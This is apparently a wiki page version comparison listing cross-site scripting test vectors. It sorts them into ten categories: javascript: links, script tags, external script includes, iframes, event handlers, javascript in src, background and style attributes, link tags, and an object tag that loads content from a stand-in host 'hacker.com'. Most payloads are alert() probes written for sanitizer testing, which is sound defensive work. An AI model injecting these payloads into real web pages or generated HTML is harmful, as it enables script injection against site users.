Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

1) Usage of <a> tag with the 'ahref' attribute. Like:

No Format
<a href='javascript:alert("Test");'>Test 1</a>
<a href='javascript:alert("Test Vulnerability through a href unicode");'>Test 2</a>
(or)
[javascript:alert('Test Vulnerability through a href');]

2) Usage of javascript. Like:

No Format
<script>alert('Test Vulnerability through script');</script>

3) Usage of script with include. Like:

No Format
<script type="text/javascript" src="https://<somesite>/include.js"></script>

4) Usage if iframe with include. Like:

No Format
<iframe src="https://bobswift.atlassian.com"></iframe>

5) Usage of 'onXxx' events irrespective of the tags. Like:

No Format
<div style="padding: 20px; opacity: 0;height: 20px;" onmouseout="alert('Test Vulnerbility through onXxx events')"></div>
<img src="smiley.gif" alt="Smiley face" height="42" width="42" onerror="alert('No file found')">

6) Usage of script in the src attribute. Like:

No Format
<img src="javascript:alert("XSS");">
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
<input type="image" src="javascript:alert('XSS');">

7) Usage of script in the background attribute. Like:

No Format
<body background="javascript:alert("XSS")">
<table background="javascript:alert('XSS')">
<td background="javascript:alert('XSS')">

8) Usage of link tag with href. Like:

No Format
<link rel="stylesheet" href="javascript:alert('XSS');">

9) Usage of script in the style attribute. Like:

No Format
<div style="background-image: url(javascript:alert('XSS'))">
<div style="width: expression(alert('XSS'));">

10) . Usage of object with include. Like:

No Format

<object type="text/x-scriptlet" data="http://hacker.com/xss.html">